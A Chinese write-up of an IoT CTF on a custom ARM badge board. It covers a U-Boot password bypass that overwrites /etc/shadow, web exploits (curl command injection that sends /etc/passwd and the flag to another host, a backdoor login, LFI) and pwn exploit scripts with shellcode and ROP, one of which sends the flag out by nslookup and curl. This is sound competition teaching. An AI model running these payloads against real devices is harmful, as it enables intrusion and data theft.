本次IoT闯关赛为西湖论剑的其中一个赛项,由安恒的海特实验室出题,时长8小时,采用定制硬件为解题平台,玩法新颖,题目底座为armv5:linux5.4.75:libc2.30。但考察点偏CTF风格,与IoT安全实战尚有一定距离,最终赛况如下:
官方WP
所有题目和刷机工具:IoT_attachment.zip
物料
闯关赛的题目需要烧写到一个板子上,也就是选手的胸卡:【集赞福利】全球限量版“西湖论剑”IoT闯关赛神秘硬件!。这张胸卡的主控芯片为全志的F1C200s,留出了UART和OTA的接口,而且是直接使用micro USB接口,即UART转USB的功能已经做到板子上了,不需要TTL转接了。OTA接口在题目下的工作模式为USB网卡,可以直接给主机DHCP分配IP地址,板子的IP地址固定为20.20.11.14
,故这俩USB直接接到主机上即可,UART用串口工具直接看,OTA是网卡。另外板子上还集成了ATmega328P,不过并明白他和主控是怎么一同使用的:
另外还发了其他的一些东西:排线,杜邦线,转接板,USB-TTL转接器,USB-ISP下载器,DVB-T+FM+DAB电视棒,TF卡以及micro USB的连接线
不过除了micro USB的连接线和电视棒,剩下的一概没用上。
密码绕过
使用串口工具连接板子,波特率115200,mac下可以自带工具:
➜ ls /dev | grep serial
cu.usbserial-02133E1A
tty.usbserial-02133E1A
➜ screen -L /dev/tty.usbserial-02133E1A 115200 -L
等题目启动完后,串口是有密码的:
Welcome to Hatlab BADGE200
badge200 login: root
Password:
赛后提供了root密码:1864a64aa761b0e4
,那比赛时此密码能否绕过呢?
绕过方法
uboot是启动linux内核前的引导,为内核启动提供参数。uboot阶段,其对整个系统可以进行完整的控制。故如果可以在uboot阶段拿到控制权,即uboot的shell,则可以有非常多的办法绕过之后启动的linux的权限认证。
因为串口是没有禁止输入的,而且uboot是可以被中断的,故完全可以使用uboot绕过密码。那如何进入uboot的shell呢?在板子上按reset重启,然后串口工具中快速按回车进入uboot命令行,可以使用help命令列出uboot的功能:
=> help
? - alias for 'help'
base - print or set address offset
bdinfo - print Board Info structure
blkcache - block cache diagnostics and control
boot - boot default, i.e., run 'bootcmd'
bootd - boot default, i.e., run 'bootcmd'
bootelf - Boot from an ELF image in memory
bootm - boot application image from memory
bootvx - Boot vxWorks from an ELF image
bootz - boot Linux zImage image from memory
chpart - change active partition
clrlogo - fill the boot logo area with black
cmp - memory compare
coninfo - print console devices and information
cp - memory copy
crc32 - checksum calculation
dfu - Device Firmware Upgrade
dm - Driver model low level access
echo - echo args to console
editenv - edit environment variable
env - environment handling commands
erase - erase FLASH memory
exit - exit script
ext2load - load binary file from a Ext2 filesystem
ext2ls - list files in a directory (default /)
ext4load - load binary file from a Ext4 filesystem
ext4ls - list files in a directory (default /)
ext4size - determine a file's size
false - do nothing, unsuccessfully
fatinfo - print information about filesystem
fatload - load binary file from a dos filesystem
fatls - list files in a directory (default /)
fatmkdir - create a directory
fatrm - delete a file
fatsize - determine a file's size
fatwrite - write file into a dos filesystem
fdt - flattened device tree utility commands
flinfo - print FLASH memory information
fstype - Look up a filesystem type
go - start application at address 'addr'
gpio - query and control gpio pins
gpt - GUID Partition Table
help - print command description/usage
iminfo - print header information for application image
imxtract - extract a part of a multi-image
itest - return true/false on integer compare
ln - Create a symbolic link
load - load binary file from a filesystem
loadb - load binary file over serial line (kermit mode)
loads - load S-Record file over serial line
loadx - load binary file over serial line (xmodem mode)
loady - load binary file over serial line (ymodem mode)
loop - infinite loop on address range
ls - list files in a directory (default /)
md - memory display
mm - memory modify (auto-incrementing address)
mmc - MMC sub system
mmcinfo - display MMC info
mtd - MTD utils
mtdparts - define flash/nand partitions
mw - memory write (fill)
nm - memory modify (constant address)
part - disk partition related commands
printenv - print environment variables
protect - enable or disable FLASH write protection
random - fill memory with random pattern
reset - Perform RESET of the CPU
run - run commands in an environment variable
save - save file to a filesystem
setenv - set environment variables
setexpr - set environment variable as the result of eval expression
sf - SPI flash sub-system
showvar - print local hushshell variables
size - determine a file's size
sleep - delay execution for some time
source - run script from memory
sysboot - command to get and boot from syslinux files
test - minimal test like /bin/sh
true - do nothing, successfully
ums - Use the UMS [USB Mass Storage]
usb - USB sub-system
usbboot - boot from USB device
version - print monitor, compiler and linker version
然后输入如下两条命令,长的命令需要多次复制(不知道原因)
=> setenv bootargs_common "console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2"
=> boot
启动后进入没有题目的root shell,此时板子还没有ip地址,直接复制如下命令(全部复制),粘贴到shell里:
#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
case "$x" in
overlayfsdev=*)
OVERLAYFSDEV="${x#overlayfsdev=}"
mtd erase /dev/mtd5
mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
mount --rbind /dev /tmp/dev/
mount --rbind /overlay /tmp/overlay/
mount --rbind / /tmp/overlay/rom/lower
echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
exec chroot /tmp /sbin/init
;;
esac
done
exec /sbin/init
然后用root:root应该就可以登录串口了,并且此时板子20.20.11.14
应该已经可以ping通了,默认是开了ssh的,故也可以登录了
启动分析
要理解上面的绕过方法,必须了解此系统是如何正常启动的。不过因为正常启动我们并拿不到shell,所以还是要利用uboot修改init变量进入到linux的shell中。分析启动就是分析这个init本来是啥?可以在uboot
启动的时候观察环境变量,由于环境变量较多,有所过滤:
U-Boot 2020.07 (Nov 13 2020 - 15:01:11 +0800) Allwinner Technology
CPU: Allwinner F Series (SUNIV)
Model: Allwinner F1C100s Generic Device
DRAM: 64 MiB
MMC: mmc@1c0f000: 0, mmc@1c10000: 1
Setting up a 800x480 lcd console (overscan 0x0)
In: serial
Out: vga
Err: vga
Allwinner mUSB OTG (Peripheral)
Hit any key to stop autoboot: 0
=> printenv bootargs_common
bootargs_common=console=ttyS0,115200 earlyprintk rootwait init=/preinit consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2
可见init
变量设置为/preinit
,这个玩意是啥,目前还不得而知,不过我们可以使用setenv
的uboot
命令,将init
的值改为/bin/sh
,然后使用boot
命令,即可继续进行启动流程
=> setenv bootargs_common "console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2"
=> boot
启动之后我们就拿到了一个root shell,但是发现此时板子的网络还不通,题目也没起起来,文件系统挂载的也没有很清晰:
$ mount
mount: no /proc/mounts
$ ls /proc
不过我们在根目录下看到了preinit
这个文件,发现是个sh脚本:
$ cat preinit
#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
case "$x" in
overlayfsdev=*)
OVERLAYFSDEV="${x#overlayfsdev=}"
mtd erase /dev/mtd5
mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
mount --rbind /dev /tmp/dev/
mount --rbind /overlay /tmp/overlay/
mount --rbind / /tmp/overlay/rom/lower
exec chroot /tmp /sbin/init
;;
esac
done
exec /sbin/init
看不太懂这个脚本,尤其是这个for循环:
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
case "$x" in
overlayfsdev=*)
不过可以先看一下proc/cmdline
里有啥,发现应该就是启动内核的参数:
$ mount proc /proc -t proc
$ cat /proc/cmdline
console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2 root=/dev/mtdblock3 overlayfsdev=/dev/mtdblock5
至于set --
,$@
,=*)
等参考:
- How do I parse command line arguments in Bash?
- What does “set –” do in this Dockerfile entrypoint?
- unix set command set — “$@” “$i” meaning
- Shell特殊变量:Shell $0, $#, $*, $@, $?, $$和命令行参数
大概应该就是解析内核的启动参数,找到overlayfsdev
对应的值,即:/dev/mtdblock5
,然后一顿挂载,替换完变量如下:
mtd erase /dev/mtd5
mount -n -t jffs2 /dev/mtdblock5 -o rw,noatime /overlay
mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
mount --rbind /dev /tmp/dev/
mount --rbind /overlay /tmp/overlay/
mount --rbind / /tmp/overlay/rom/lower
exec chroot /tmp /sbin/init
overlayfs这玩意比较绕,总之就是把根目录扔到/tmp目录下然后在chroot进去然后init,对于init程序的理解可以参考:
找到关键文件/tmp/etc/init.d/S99application
,看完恍然大悟:
$ cat S99application
#!/bin/sh
#
# Start Application....
#
start() {
printf "Starting Application: "
mkdir -p /overlay/extra/lower /overlay/extra/upper /overlay/extra/work
mkdir -p /workspace
mount -o ro /dev/mtdblock4 /overlay/extra/lower
mount -n -t overlay overlayfs:/overlay/extra -o rw,noatime,lowerdir=/overlay/extra/lower,upperdir=/overlay/extra/upper,workdir=/overlay/extra/work /workspace
echo 401 > /sys/class/gpio/export
echo high > /sys/class/gpio/gpio401/direction
cd /workspace
/workspace/start.sh
[ $? = 0 ] && echo "OK" || echo "FAIL"
}
stop() {
printf "Stopping Application: "
cd /workspace
/workspace/stop.sh
[ $? = 0 ] && echo "OK" || echo "FAIL"
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart|reload)
stop
sleep 1
start
;;
*)
echo "Usage: $0 {start|stop|restart}"
exit 1
esac
exit $?
原来/dev/mtdblock4
才是题目存放的分区,系统进入chroot进入tmp后,执行/tmp/etc/init.d/
中的初始化脚本,题目才被加载然后启动起来,网络也才正常启动。故完整的启动顺序如下:
uboot -> /preinit -> /tmp/sbin/init (/tmp/etc/init.d/*) -> /workspace/start.sh
回顾绕过
所以我们可以在chroot题目的根文件系统,即chroot /tmp
目录之前,修改/tmp
目录下文件系统的配置文件,也就是在preinit环节做手脚:
echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
exec chroot /tmp /sbin/init
一般来说修改完uboot的init应该就已经进入了linux正常的shell,但是这里的题目又套了一层,所以需要在中间做手脚。这才有了如下的脚本:
#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
case "$x" in
overlayfsdev=*)
OVERLAYFSDEV="${x#overlayfsdev=}"
mtd erase /dev/mtd5
mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
mount --rbind /dev /tmp/dev/
mount --rbind /overlay /tmp/overlay/
mount --rbind / /tmp/overlay/rom/lower
echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
exec chroot /tmp /sbin/init
;;
esac
done
exec /sbin/init
热身赛
总共4道题,题目开在板子的80端口的网页上,为了让选手熟悉硬件操作流程
- 手机改个蓝牙名字让板子搜索到
- 串口回板子个数据
- 把GPIO的电平拉低,短接
- 登录提示用户名或密码错误,即用户名:或,密码:错误,登录即可
其中第三题GPIO给了提示,对于ATmega328P,GPIO是PC3。故目标不是全志的F1C200s,而是ATmega328P,故找到其datasheet,用镊子短接PC3和地即可:
闯关赛:Web
本节Web方向内容由淼哥提供:西湖论剑2020-IoT闯关赛-WEB-WriteUp
IoT-Web1 版本更新
题目说明:路由器在检测版本更新的过程中,出现了一个意料之外的问题。题目端口80(flag在根目录或者/workspace下)
思路
出题人没有给固件或者binary,考点是黑盒测试。
但是IoT设备的安全研究可以通过很多方法获取到固件或者shell,例如上述的方法获得了shell,该题的难度就大大降低了。
分步解答
(1)参数注入
通过admin:admin就可以登录后台,跳转到 http://20.20.11.14/checkupdate.php?url=firmware.bin
,没有其它的页面内容了,也就是说入口点就这一个url
参数。
拿到shell后我们可以看到代码如下:
<?php
// session_start();
print "Content-type: text/html; charset=utf-8\n\n";
// if(empty($_SESSION['name'])){
// echo "login first";
//exit();
//whataver just do it lucky guy
// }
$url =$_ENV['CGI_URL'];
$cmd = "curl http://x11router.com/".$url." -o /tmp/test.bin ";
$cmd = escapeshellcmd($cmd);
#echo $cmd."\n";
shell_exec($cmd);
echo "Done";
//when we can't unpack the firmware or no firmware, we usually pentest to get shell first.
//hint : do u know rpc on this server ? get root shell
主要就是curl参数注入漏洞,需要逃逸escapeshellcmd()检测,一个思路参数注入逃逸,通过注入相关参数进行利用;二是通过%0d%0a换行进行分割逃逸执行命令。
后续的利用主要通过%0d%0a。
文件读取 PoC。
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -X POST --data @/etc/passwd
读取flag读取不出,通过checkupdage.php最后两行提示也说明,当前用户没有权限读取flag,需要我们找个其它进程提高权限。
(2)寻找rpc高权限进程
黑盒的方式,可能要/proc/pid/cmdline遍历查找高权限的进程。
如果拿到shell,ps就可以发现,executeproxynew
本地开放9998端口
我们可以通过
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -F "file=@/workspace/data/executeproxynew"
将binary传出来进行分析。
(3)逆向分析executeproxynew
该程序监听在9998的tcp端口,需要过个认证,提取命令执行,前两个字节看出题人的意图是后面payload的长度,但最后是取地址,数值会很大,所以任意两位就可。
最终执行的PoC:
11P4ss1:whoami|whomai|whomai|touch /tmp/re|
(4)利用链
通过上述方法,我先通过curl -X发送到9998端口执行chmod 777 /flag
,然后在通过curl读取flag。
修改权限:
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://127.0.0.1:9998/ -X "12P4ss1:whoami|whomai|whomai|whoami|chmod 777 /flag|"
读取flag
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -X POST --data @/flag
IoT-Web2 伪造登录
题目说明:成为管理员就可以读取flag,题目端口80(flag在根目录或者/workspace下)
思路
提给出了3个binary,data.out,login.out,readflag.out,需要获得管理权限,然后运行readflag.out读取flag。
分步解答
(1)login.out分析
name,pass参数传递用户名和密码。
判断用户名和密码hash都写死了,之后生成个/tmp/sess_xxx
作为session缓存。
(2)data.out分析
这个文件存在命令注入,可以读取序列号shln12345678,和主页显示的序列号shlj12345678不一样,一度被这点误导一直在通过序列号进行密码拼接碰撞hash密码。
其实想通过sqlite注入写文件,用户名和密码又是写死的,感觉这硬拼凑在一起的,毫无逻辑关系。
(3)readflag.out 分析
这块判断sesion时候,是在1024字节内是否有:
,然后判断后面字符是否admin,这个逻辑点也有点牵强,正常attach的sqlite的数据库大小超过1024字节了,保存的user:admin字符就在1024字节后。
需要限制数据库的大小,通过page_size=512;
可以限制大小。
(4)利用链
通过sqlite注入写session缓存文件。
在设置cookie去读取flag。
IoT-web3 后门账号
题目说明:路由器管理后台被攻陷,运维加了个访问认证,可惜中间件被黑客植入了后门账号。题目端口80(flag在根目录或者/workspace下)
思路
登录发现,该网站主要通过basic认证方式,appweb中间件,需要找到认证后门。一是直接定位相关认证逻辑代码。可以对比源码来寻找差别。二是直接编译appweb进行bindiff查找不同。
分步解答
(1)认证后门
我们可以通过CVE-2018-8715发现,验证逻辑代码函数httpLogin()。
在libhttp.so中,添加了一句,只要第二位开始是Mon就可以绕过认证。 aMondmin:123456
(2)php包含漏洞
直接跳转到的页面。
很明显存在个php本地包含漏洞,利用/proc/self/environ即可。
LFI通过/proc/self/environ直接获取webshell
index.php
<?php
print "Content-type: text/html; charset=utf-8\n\n";
echo "<script> document.location.href='action.php?action=echo.php';</script>";
atcion.php
<?php
print "Content-type: text/html; charset=utf-8\n\n";
$d=$_ENV['CGI_ACTION'];
include $d;
echo.php
<?php
echo "<center><h1>very easy dont think too much</h1></center>";
获取flag位置。
读取flag
闯关赛:Pwn
吐槽一下,就没在IoT设备上见过这么高版本的libc,居然是2.30
板子上的linux是开了随机化保护的:
$ cat /proc/sys/kernel/randomize_va_space
1
babyboa
目标是开在80端口的boa,与源码对比一下非常容易发现,basic认证处sprintf存在栈溢出,a3,a4是base64解码后的用户名和密码,无论你是用户名长还是密码长都能溢出到这个点:
bool __fastcall sub_1D1AC(int a1, const char *a2, const char *a3, const char *a4)
{
char s[308]; // [sp+4h] [bp-134h] BYREF
sprintf(s, "%s:%s", a3, a4);
return strcmp(s, a2) == 0;
}
不过因为是sprintf,故需要绕过00,但是因为开启了地址随机化,无法使用libc的gadget,于是就只能使用一条gadget来完成利用,并且无法在这个gadget之后布置数据,因为已经被截断了。这条gadget类似one_gadget效果,不过这里并不是execve(“/bin/sh”)这种,因为你和boa是真正的网络交互,而不是把标准输入输出重定向给网络,所以你需要找到一个能力非常强的gadget,想办法通过各种信道把flag送出来。但按道理这种gadget是不存在的,不可能天然存在这么定制的gadget。比赛结束后在4哥的提示下说找system函数,于是找到如下代码段:
.text:0001D2DC LDR R6, [R6,#0x10]
.text:0001D2E0 MOV R0, R6,LSR#8 ; command
.text:0001D2E4 BL system
相面后的结论是,这就是纯造出来的gadget:
- 调试发现在栈溢出发生时,R6是指向base64解码后的认证数据,故使用此gadget我们可以控制R6寄存器的值
- 我们解码后的数据会被拷贝到一个固定的bss地址,虽然bss地址是带00的,不过没关系,R6将右移8位再给R0
- 如果把R0成功的指向上述bss地址,则可以任意命令执行
目前来看应该只有这一种解法,具体可以参考航哥的WP:西湖论剑IoT闯关赛-babyboa。不过这里我想分享一些命令执行后获取flag个办法,即回答上面的问题,我到底要通过什么信道将flag送出来?cat flag
肯定是没用的,因为boa起的sh子进程的标准输入输出你是看不到的。看看板子的实物,我们与板子有两根线相连,一根uart是串口,一根otg是网口,那flag肯定就从这两根线出来。于是对于两根线我分别到想了两种办法:
- 串口:直接输出flag到串口,修改串口的登录密码
- 网口:DNS,curl
最终exp如下,四种方式获取flag依次执行:
import requests
from pwn import *
from requests.auth import *
command = "cat /workspace/flag > /dev/console;"
command += 'echo "root::::::::" > /etc/shadow;'
command += "nslookup `cat /workspace/flag` 20.20.11.13;"
command += "curl 20.20.11.13:1111 -T /workspace/flag;"
bss_pass = 0x434F8
r6r0_sys = 0x1D2DC
username = "a"*0x10+p32((bss_pass<<8)+0x11)
password = command.ljust(0x11b,"a")+p32(r6r0_sys)
requests.get('http://20.20.11.14/', auth=HTTPBasicAuth(username,password))
messageBox
协议逆向,目标为使用TCP:6780
端口的服务端程序,接受符合自定义协议的客户端请求,是真正的网络接口,而不是像大部分Pwn题:将标准输入输出映射到网络接口上。检查发现没去符号,难度系数低于实际设备的逆向分析:
➜ file messageBox
messageBox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 5.4.0, not stripped
➜ checksec messageBox
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
逆向过程较为简单,故略,协议格式为:
# big endian
fixed string[6 byte] + length[2 byte] + func code[2 byte] + crc[4 byte] + func data
一开始卡在crc校验总是算不对,本地调试发现长度的两个字节如果有00直接就被截断了,导致后面的正文数据压根没进行校验,所以需要将长度填满到两个字节。预期解应该是各种绕过使用后面的命令执行读取flag,但可以使用readFile功能直接直接读flag。即本题没有用到内存破坏漏洞的利用方式,而是直接使用程序的功能完成利用,exp如下:
from pwn import *
import zlib
context(log_level='debug',endian='big')
io = remote("20.20.11.14",6780)
payload = "readFile:"+"/"*0x100+"/workspace/flag"
crc = int(zlib.crc32(payload)& 0xffffffff)
io.send("H4bL1b"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()
ezArmpwn
前两题都是真正的网络交互,即目标程序里写的就是网络接口,这题又回到了经典CTF,nc连上就是菜单,故应该是最后execve("/bin/sh")
就完事了。首先检查:开了NX,没去符号
➜ file pwn3
pwn3: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 5.4.0, not stripped
➜ checksec pwn3
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
发现两个栈溢出,一个悬空指针,已知三种解法:
shellcode
别看题目开了NX,但是经过测试,这个保护并没有在这个板子上起作用。故可以用第一个栈溢出leak出栈地址,然后写shellcode到栈上,最终尝试:Linux/StrongARM - execve() - 47 bytes by funkysh此shellcode成功,真是strong的ARM…
from pwn import *
context(arch='arm',os='linux',log_level='debug')
io = remote("20.20.11.14",9999)
#io = process(["qemu-arm","-L","/usr/arm-linux-gnueabihf/","./pwn3"])
#io = process(["qemu-arm","-g","1234","-L","/usr/arm-linux-gnueabihf/","./pwn3"])
sla = lambda delim,data : (io.sendlineafter(delim, data))
init = lambda name,password : (sla("username:",name),sla("password:",password),sla("again:",password),sla("continue ...",""))
info = lambda : (sla("choice > ","2"))
modify = lambda password : (sla("choice > ","3"),sla("password:",password),sla("continue ...",""))
shellcode = "\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef/bin/sh"
# leak stack
init("a"*20,"xuan");info()
io.recvuntil("a"*20)
stack = u32(io.recv(4))
# send shellcode
modify(shellcode.ljust(64,"a")+p32(stack+0x70))
# trigger return to shellcode
sla("choice > ","4")
io.interactive()
ROP
先leak出libc,然后栈溢出重新回到main函数,然后再次栈溢出就可以利用libc里的gadget和system函数了:
from pwn import *
context(arch='arm',os='linux',log_level='debug')
p = remote('20.20.11.14', 9999)
sla = lambda delim,data : (p.sendlineafter(delim, data))
sa = lambda delim,data : (p.sendafter(delim, data))
init = lambda name,password : (sla("username:",name),sla("password:",password),sla("again:",password),sla("continue ...",""))
info = lambda : (sla("choice > ","2"))
modify = lambda password : (sla("choice > ","3"),sa("password:",password),sla("continue ...",""))
# leak libc
init("a","a");modify('a'*40);info()
p.recvuntil('a'*40)
libc = u32(p.recv(4)) - 0x32248
binsh = libc + 0x127F44
system = libc + 0x03A028
rop = libc + 0x07ba84 # pop {r0, r4, pc}
# overflow return to main
modify('a'*64 + p32(0x10E70))
sla("choice > ","4")
# again overflow to system("/bin/sh")
init('a' * 0x1c + p32(rop) + p32(binsh)*2 + p32(system),"")
p.interactive()